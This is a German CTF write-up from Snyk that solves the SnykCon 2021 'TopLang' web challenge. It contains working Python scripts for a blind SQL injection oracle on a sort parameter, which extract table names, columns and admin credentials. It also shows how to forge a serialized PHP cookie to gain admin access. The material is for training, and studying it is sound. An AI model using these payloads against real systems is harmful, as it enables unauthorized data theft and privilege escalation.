Skip to main content

CTF-Geheimnisse enthüllt: Die TopLang-Challenge von SnykCon 2021 erklärt

Artikel von

Michael Aquilina

feature fetch the flag ctf

6. Januar 2022

0 Min. Lesezeit

Wenn Sie an der SnykCon 2021 teilgenommen haben, erinnern Sie sich vielleicht an unser erstes CTF: Fetch the Flag. Bei diesem CTF war TopLang eine Web-Challenge mittleren Schwierigkeitsgrads, zu der wir viel positives Feedback erhalten haben. Für alle, denen sie gefallen hat, erklärt dieser Write-up, wie unser Team intern an die Challenge herangegangen ist und sie gelöst hat. Noch besser: Sie können die Challenge selbst ausprobieren. Besuchen Sie dazu https://ctf-2021.snyk.io/ und gehen Sie zum Bereich Challenges.

Diese Challenge war ein ziemlich typisches Beispiel für einen sogenannten „Oracle-Angriff“ mit blinder SQL-Injection. Ich erkläre, wie wir an das Problem herangegangen sind, und setze dabei voraus, dass Sie mit CTF-Challenges nicht vertraut sind. Die einzelnen Schritte sind recht ausführlich beschrieben. Ich gehe jedoch davon aus, dass Sie Grundkenntnisse in Python und SQL haben.

Die Beschreibung der Challenge lautete:

Was ist Ihre Lieblingsprogrammiersprache?

Manchmal geben Challenges Hinweise darauf, wie die Lösung aussehen könnte. Hier scheint es jedoch keine verwertbaren Informationen zu geben. Also kommen wir direkt zu unseren ersten Untersuchungen!

Erste Untersuchung

Zu Beginn jeder CTF-Web-Challenge sollten Sie sich zunächst mit den verfügbaren Webseiten und ihren Inhalten vertraut machen, bevor Sie mit dem Schreiben von Code anfangen. Diese erste Untersuchung sollte Ihnen Hinweise auf mögliche Angriffsvektoren geben und darauf, wo das CTF-Flag vermutlich gespeichert ist. Dafür sollten Sie nicht länger als 10 Minuten brauchen: Klicken Sie einfach die verfügbaren Links an und notieren Sie alles, was nützlich sein könnte.

Wenn wir den in der Challenge-Beschreibung angegebenen Weblink öffnen, wird uns folgende Seite angezeigt:

Tabelle mit einem Vergleich der Rankings, Bewertungen und Veränderungen von 20 Programmiersprachen im Juni 2021 und Juni 2020

Wir sehen eine Datentabelle mit den beliebtesten Programmiersprachen der Jahre 2020 und 2021 sowie zusätzlichen Metadaten wie Bewertungen.

Die Spalten lassen sich offenbar sortieren, wenn man auf die Spaltenüberschrift klickt. Noch wichtiger: Beim Sortieren nach bestimmten Spalten wird der Query-String-Parameter sort zur URL hinzugefügt. Wenn wir beispielsweise nach der Spalte „Jun 2021“ sortieren, erhalten wir den URL-Pfad /?sort=jun2021.

Jede Art von Eingabe, die wir manipulieren können, ist ein potenzieller Angriffsvektor, den wir ausnutzen können. Das sieht also nach einer interessanten Spur aus, die wir später weiterverfolgen können.

Tabelle mit einem Vergleich der Ranglisten, Bewertungen und Veränderungen von Programmiersprachen im Juni 2021 und Juni 2020.

Ein weiterer offensichtlicher Ansatzpunkt ist der Link Admin-Bereich am unteren Seitenrand. Wenn wir darauf klicken, werden wir zu /admin.php weitergeleitet. Solange wir nicht angemeldet sind, scheint es dort nicht viel zu tun zu geben.

Weiße Seite mit der Meldung „Bitte anmelden“ in roter und blauer Schrift.

Wenn wir zur Anmeldeseite wechseln, sehen wir ein standardmäßiges Anmeldeformular:

Anmeldeformular mit Feldern für Benutzername und Passwort sowie einer blauen Schaltfläche „Absenden“

Wir können gängige Anmeldekombinationen wie „admin“ / „admin“ ausprobieren, aber keine scheint zu funktionieren. Da es sich um eine Web-Challenge handelt, können wir ziemlich sicher sein, dass wir diese Anmeldeseite nicht mit einem Passwort-Cracking-Tool wie THC Hydra per Brute-Force knacken müssen.

Wahrscheinlich müssen wir die Werte für Login und Passwort irgendwie aus dem Server auslesen und damit auf diesen Admin-Bereich zugreifen.

Gut, jetzt wissen wir, welche verschiedenen Seiten es gibt. Schauen wir genauer hin und suchen nach möglichen Schwachstellen.

SQL-Injection

Die Daten zu den beliebtesten Programmiersprachen werden auf der Webseite in einer Tabelle angezeigt. Über den Query-String-Parameter sort kann die Reihenfolge der Daten auf verschiedene Arten festgelegt werden. Das spricht dafür, dass die Daten im Backend wahrscheinlich mit einer SQL-Datenbank abgerufen und abgefragt werden.

Wenn tatsächlich ein SQL-Backend zum Einsatz kommt, können wir prüfen, ob die Seite für SQL-Injection-Angriffe anfällig ist.

Hinweis: Wir könnten ein SQL-Injection-Tool wie sqlmap verwenden, um diese CTF-Challenge etwas einfacher zu machen. Tatsächlich würde das in vielen Fällen problemlos funktionieren. Während des Wettbewerbs hatte ich jedoch wenig Erfolg damit, das Tool für diese Challenge zum Laufen zu bringen. Statt viel Zeit darauf zu verwenden, herauszufinden, welche Optionen ich aktivieren müsste, damit das Tool richtig funktioniert, habe ich beschlossen, meinen Exploit selbst zu schreiben. Außerdem macht es einfach viel mehr Spaß, den Code für die Lösung selbst zu schreiben!

Wie wir bereits gesehen haben, ist der Query-String-Parameter sort ein guter Kandidat für einen möglichen Angriffsvektor. Der an den sort-Parameter übergebene Wert sieht aus wie der Name einer Spalte in einer Datenbanktabelle. Hier sind die möglichen Werte, die Sie durch Klicken auf die verschiedenen Spaltenüberschriften erhalten:

  • sort=jun2020

  • sort=jun2021

  • sort=ratings

  • sort=change

Wenn dieser Spaltenname mithilfe unsicherer String-Formatierung an eine SQL-ORDER-BY-Anweisung übergeben wird, könnten wir Daten mit einem Blind-SQL-Injection-Angriff auslesen.

Eine gute Möglichkeit, die Anfälligkeit zu testen, ist zu prüfen, ob wir die Reihenfolge der Ergebnisse mithilfe einer CASE-Anweisung mit einer booleschen Bedingung ändern können. Erhalten wir eine andere Reihenfolge, je nachdem, ob die CASE-Anweisung True oder False ergibt? Probieren wir die folgenden beiden sort-Werte aus und sehen, was passiert:

  • ?sort=”(CASE WHEN 1=1 THEN jun2021 ELSE jun2020)”

  • ?sort=”(CASE WHEN 1=0 THEN jun2021 ELSE jun2020)”

An diesem Punkt sollten Sie damit anfangen, Skripte zu schreiben, die mit der Zielwebseite interagieren. Wahrscheinlich brauchen wir ohnehin schon bald Automatisierungen. Außerdem verändern Browser wie Firefox und Chrome oft komplexe Eingaben mit Leerzeichen und anderen Sonderzeichen.

Ich selbst kenne mich gut mit Python aus. Für CTFs ist Python generell eine hervorragende Sprache, weil sich mit Hilfe einiger externer Pakete leicht eine funktionierende Lösung entwickeln lässt.

Wenn wir die Bibliotheken requests und BeautifulSoup von PyPI installieren, können wir die Seite abrufen und die HTML-Ausgabe parsen, um Unterschiede in den Ergebnissen zu erkennen. Insbesondere können wir feststellen, ob sich die Reihenfolge der Sprachen in der Spalte geändert hat.

Wir sehen, dass „C“ sowohl 2020 als auch 2021 stets an der Spitze steht. „Go“ war 2021 jedoch die unbeliebteste Sprache, während es 2020 „Fortran“ war. Deshalb können wir Code schreiben, der prüft, welche Sprache am wenigsten beliebt war, um Unterschiede zu erkennen.

Erstellen wir also eine Funktion, die die letzte Sprache auf der zurückgegebenen Seite ausgibt:

import requests
from bs4 import BeautifulSoup

HOST = "https://snyk-top-lang.chals.io/" 

def get_data(command): 
    payload = f"(CASE WHEN ({command}) THEN jun2021 ELSE jun2020 END)" 

    resp = requests.get(HOST, params={"sort": payload}) 

    soup = BeautifulSoup(resp.text, 'html.parser') 

    return soup.find_all(“td”)[-3].get_text()

Wenn wir also Jun2021 an eine True-Bedingung und Jun2020 an eine False-Bedingung knüpfen, sollten wir „Go“ erhalten, wenn wir get_data eine True-Anweisung übergeben. Übergeben wir stattdessen eine False-Anweisung an get_data, sollten wir „Fortran“ erhalten.

Eine einfache Möglichkeit, eine True-Anweisung an SQL zu übergeben, ist „1=1“. „1=0“ könnte unsere False-Anweisung sein.

Probieren wir es mit etwas Code aus!

print(“1=1:”, get_data(“1=1”))
print(“1=0:”, get_data(“1=0”))

Das ergibt folgende Ausgabe:

1=1: Go
1=0: Fortran

Geschafft! Wir konnten die Reihenfolge mithilfe einer booleschen Bedingung ändern. Dieser Test ist der Beweis, den wir brauchen: Der Parameter order ist anfällig für einen Blind-SQL-Injection-Angriff. Jetzt müssen wir diesen Exploit nur noch ausnutzen.

Oracle-Angriff

Unser Blind-SQL-Injection-Exploit ist eine Form des „Oracle-Angriffs“. Bei einem Oracle-Angriff stellt man dem Server Ja-oder-Nein-Fragen. Die Antworten zeigen uns, wie nah wir unserem Zielwert sind.

In unserem Fall wollen wir wahrscheinlich die Werte für Login und Passwort des Admin-Formulars herausfinden, das wir zuvor gesehen haben.

Mit einem Oracle-Angriff können wir den Server nicht direkt nach Login und Passwort fragen. Wir können ihm aber immer wieder Vermutungen dazu schicken und sie schrittweise verfeinern, bis wir die richtigen Werte herausgefunden haben.

Der übliche Trick bei einem Oracle-Angriff besteht darin, Fragen zu Teilstrings zu stellen, die nach und nach präziser werden, sobald wir eine positive Antwort erhalten.

Ohne Code könnte eine Reihe von Fragen an das Oracle beispielsweise so aussehen:

  • „Beginnt der Login mit a?“ Server: Nein

  • „Beginnt der Login mit b?“ Server: Nein

  • „Beginnt der Login mit c?“ Server: Ja

  • „Beginnt der Login mit ca?“ Server: Nein

  • „Beginnt der Login mit cb?“ Server: Nein

  • „Beginnt der Login mit cc?“ Server: Nein

  • „Beginnt der Login mit ce?“ Server: Ja

Wir wiederholen diesen Vorgang, bis wir den gesamten Login zeichenweise ausgelesen haben. Wenn das Passwort ebenfalls im Klartext gespeichert ist, können wir genauso vorgehen.

Übertragen wir das nun in Code. Wir können mit einer oracle-Funktion beginnen, die True zurückgibt, wenn die Antwort auf unsere Frage „Ja“ lautet, und False, wenn die Antwort „Nein“ lautet. Wenn wir unsere ursprüngliche Funktion get_data anpassen, können wir anhand der letzten Sprache in der HTML-Tabelle das Ergebnis unserer Ja-oder-Nein-Fragen ermitteln:

import requests 
import string 
from bs4 import BeautifulSoup 

HOST = "https://snyk-top-lang.chals.io/" 

def oracle(command): 
    payload = f"(CASE WHEN ({command}) THEN jun2021 ELSE jun2020 END)"

    resp = requests.get(HOST, params={"sort": payload}) 

    soup = BeautifulSoup(resp.text, 'html.parser') 

    results = soup.find_all("td")

    # If the last row is Go, then we are sorted by jun2021
    # which means our command evaluates to True
    return results[-3].get_text() == "Go" 

# Make sure the oracle function is working correctly!
assert oracle("1=0") is False 
assert oracle("1=1") is True

Anmeldedaten auslesen

Wir wissen, dass wir Login und Passwort aus der Datenbank abrufen müssen. Das Problem: Wir wissen nichts über das SQL-Schema und können deshalb keine passenden Abfragen formulieren. Wir könnten die Tabellennamen und Spalten erraten (einige Teams haben das getan), aber unser Team hat zuerst die Datenbankmetadaten ausgelesen, um herauszufinden, welche Tabellen und Spalten abgefragt werden müssen.

Wir haben verschiedene Abfragen ausprobiert, die speziell auf die gängigen SQL-Backends SQLite, MySQL, PostgreSQL und SQL Server zugeschnitten waren. Anhand der Abfragen, bei denen die Webseite nicht abstürzte, konnten wir feststellen, dass das Backend eine SQLite-Datenbank verwendet.

Die verfügbaren Tabellen und Spalten einer SQLite-Datenbank abzufragen, ist einfach. Finden wir zunächst heraus, welche Tabellen Daten enthalten, die wir auslesen können.

Mit der folgenden Abfrage erhalten wir eine Liste aller Tabellennamen in einer SQLite-Datenbank:

SELECT DISTINCT name 
FROM sqlite_master 
WHERE type='table' AND name NOT LIKE 'sqlite_%'

Wir können diese Abfrage jedoch nicht einfach an unsere Oracle-Funktion übergeben, denn es handelt sich nicht um eine Ja-oder-Nein-Frage. Abhilfe schafft die Funktion GROUP_CONCAT, mit der wir alle Tabellennamen verketten. Anschließend können wir mithilfe der Funktion substr Vermutungen zu den Werten des Verkettungsergebnisses senden.

Zusammengefügt ergibt das:

SELECT substr(GROUP_CONCAT(name), ':'), 1, {end})=’{guess}’
FROM sqlite_master 
WHERE type='table' AND name NOT LIKE 'sqlite_%'

Beachten Sie, dass end und guess Parameter unserer Abfrage sind. Der Parameter guess enthält einfach unsere aktuelle Vermutung. end ist die Zeichenlänge unserer Vermutung plus eins.

Jetzt müssen wir unseren Code nur noch so anpassen, dass er dem Server zeichenweise Vermutungen sendet. Der Code muss so lange Anfragen senden, bis das Oracle mit True antwortet. Sobald wir eine True-Antwort erhalten, gehen wir zum nächsten Zeichen über und wiederholen den Vorgang, um unsere Vermutung weiter zu verfeinern.

So sieht der Code aus:

import requests
import string
from bs4 import BeautifulSoup

HOST = "https://snyk-top-lang.chals.io/"

def oracle(command):
    payload = f"(CASE WHEN ({command}) THEN jun2021 ELSE jun2020 END)"

    resp = requests.get(HOST, params={"sort": payload})

    soup = BeautifulSoup(resp.text, 'html.parser')

    results = soup.find_all("td")
    return results[-3].get_text() == "Go"

assert oracle("1=0") is False
assert oracle("1=1") is True

buffer = ""

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + ":" 

while True:
    for character in alphabet:
        guess = buffer + character
        print("trying", guess)
        end = len(buffer) + 1
        command = f"SELECT substr(GROUP_CONCAT(name), ':'), 1, {end})='{guess}' FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%'"
        if oracle(command):
            buffer = guess
            print("Found", buffer)
            break
    else:
        print("Reached End")
        break

Wenn Sie diesen Code ausführen, werden die Inhalte aller Tabellennamen zeichenweise ausgelesen:

Terminalausgabe mit Versuchen, Benutzernamen zu enumerieren, darunter mehrere Zeilen mit dem Hinweis „Benutzer gefunden“.

Warten wir, bis das Skript beendet ist, lautet das Endergebnis „users:languages“. Das bedeutet, dass wir eine Tabelle users und eine Tabelle languages haben, die wir genauer untersuchen können. Da wir uns beim Admin-Bereich anmelden wollen, liegt es nahe, dass wir uns die Tabelle „users“ genauer ansehen sollten.

Als Nächstes müssen wir herausfinden, welche Spalten in der Tabelle users verfügbar sind. SQLite bietet die Funktion PRAGMA_TABLE_INFO(table_name), mit der wir die Namen der Spalten einer bestimmten Tabelle abfragen können. In unserem Fall würde die Abfrage etwa so aussehen:

SELECT name
FROM PRAGMA_TABLE_INFO(‘users’)

Da wir dem Server wieder nur Fragen im Oracle-Stil stellen wollen, können wir diese Abfrage mithilfe der Funktionen GROUP_CONCAT und substr umwandeln und so folgende SQL-Abfrage-Payload erhalten:

SELECT substr(GROUP_CONCAT(name, ':'), 1, {end})='{guess}'
FROM PRAGMA_TABLE_INFO('users')

Wir müssen nur unser vorheriges Skript so ändern, dass die Variable command diese neue Abfrage enthält.

while True:
    for character in alphabet:
        guess = buffer + character
        print("trying", guess)
        end = len(buffer) + 1

        command = f"SELECT substr(GROUP_CONCAT(name, ':'), 1, {end})='{guess}' FROM PRAGMA_TABLE_INFO('users')"
        if oracle(command):
            buffer = guess
            print("Found", buffer)
            break
    else:
        print("Reached End")
                 break

Wenn wir das Skript erneut ausführen, erhalten wir schließlich folgende Antwort:

id:login:password:admin

Unsere Zielspalten heißen offenbar login und password. Jetzt müssen wir nur noch SQL-Payloads senden, um alle Informationen daraus auszulesen:

Hier ist die SQL-Payload im Oracle-Format, mit der sich die Daten aus login auslesen lassen:

SELECT substr(GROUP_CONCAT(login, ':'), 1, {end})='{guess}' FROM users

Und hier ist die SQL-Payload im Oracle-Format, um die Passwortdaten auszulesen:

SELECT substr(GROUP_CONCAT(password, ':'), 1, {end})='{guess}' FROM users

Sie können beide ausführen, indem Sie wie zuvor den Wert von commandim selben Skript für jeden Fall ersetzen. Mit diesen Angriffen lassen sich erfolgreich zwei Gruppen von Benutzernamen-Passwort-Kombinationen auslesen.

Ich möchte Ihnen den Spaß nicht verderben und überlasse es Ihnen, selbst herauszufinden, was die Antworten sind.

Anmeldung im Admin-Bereich

Mit den gerade ausgelesenen Anmeldedaten können wir uns erfolgreich im Admin-Bereich unter /admin.php anmelden.

Allerdings scheint es noch eine letzte Herausforderung zu geben, die wir meistern müssen. Wir werden mit dieser Webseite begrüßt:

Text mit der Aufschrift „Sie sind kein Administrator“ neben einem roten Stoppsymbol

Zum Glück ist die Lösung für diesen letzten Schritt ganz einfach. Es ist immer eine gute Idee, die in Ihrem Browser gespeicherten Cookies zu überprüfen und zu sehen, ob wir sie zu unserem Vorteil manipulieren können. Im Firefox-Tab Storage sehen wir Folgendes:

Speicherbereich der Browser-Entwicklertools mit den Eigenschaften eines Sitzungscookies und geparsten Benutzerdaten, darunter ein isAdmin-Wert.

Insbesondere zeigt uns der geparste Wert, dass das Cookie einen Wert isAdmin speichert, der derzeit auf 0 gesetzt ist. Sehen wir uns an, was passiert, wenn wir diesen Wert stattdessen auf 1 ändern.

Wenn wir den gesamten Cookie-Wert kopieren, erhalten wir:

O%3A4%3A%22User%22%3A2%3A%7Bs%3A5%3A%22login%22%3Bs%3A6%3A%22kirill%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A0%3B%7D

Da wir nicht verstehen mussten, um welche Kodierung es sich handelt, entschied unser Team, dass es am einfachsten ist, einfach die „0“ am Ende der Zeichenfolge in eine „1“ zu ändern und den Cookie-Wert in unserem Browser zu ersetzen:

O%3A4%3A%22User%22%3A2%3A%7Bs%3A5%3A%22login%22%3Bs%3A6%3A%22kirill%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D

Als wir uns nach Abschluss des CTF näher damit befassten, wurde klar, dass es sich einfach um ein serialisiertes PHP-Objekt handelte. Ich denke jedoch, dass es sich lohnt zu zeigen, dass solche Abkürzungen bei einer CTF-Challenge völlig in Ordnung sind – besonders, wenn die Zeitersparnis Ihre Platzierung in der Rangliste beeinflussen kann.

Wenn Sie den Wert in den Tab Value einfügen (doppelklicken und dann Ihr neu bearbeitetes Cookie einfügen) und die Seite aktualisieren, wird uns die begehrte CTF-Flagge SNYK{...} angezeigt! Ich habe das tatsächliche Ergebnis erneut aus dem Screenshot entfernt, damit Sie es selbst ausprobieren können:

Grüner Text „SNYK{“ gefolgt von einem geschwärzten Abschnitt und einer schließenden Klammer auf weißem Hintergrund

Zum Abschluss ... fürs Erste!

Zusammenfassend hier noch einmal ein kurzer Überblick über alle Schritte:

  • Wir untersuchten die verfügbaren Seiten und entdeckten sowohl einen order-Query-String als auch eine Admin-Anmeldeseite.

  • Wir testeten erfolgreich, ob der order-Query-String anfällig für Blind-SQL-Injection-Angriffe war.

  • Wir extrahierten die Tabellennamen, Spaltennamen und Anmeldedaten für die Admin-Seite.

  • Wir änderten die Daten in den Cookies unseres Browsers, um den Server glauben zu lassen, dass wir als Administrator angemeldet waren, und riefen schließlich die Snyk-CTF-Flagge ab.

Ich hoffe, Ihnen hat dieser CTF-Bericht gefallen und Sie haben vielleicht sogar etwas Neues gelernt! CTF-Challenges sind eine hervorragende Möglichkeit, mehr über reale Exploits zu erfahren – und sich dadurch besser vor ihnen in den eigenen Systemen zu schützen. Wir werden künftig weitere Berichte veröffentlichen. Bleiben Sie also dran, wenn Sie ausführlichere Anleitungen lesen möchten.

Abschließend hat John Hammond (Senior Security Researcher bei Huntress) ausführliche Erklärungen zu einigen anderen Fetch the Flag CTFs von der SnykCon 2021 erstellt. Ich empfehle Ihnen, sie sich anzusehen:

Wenn Sie daran interessiert sind, dem Team für Security Research bei Snyk beizutreten, das diese CTFs (und vieles mehr) entwickelt, sehen Sie sich unsere offenen Stellen an!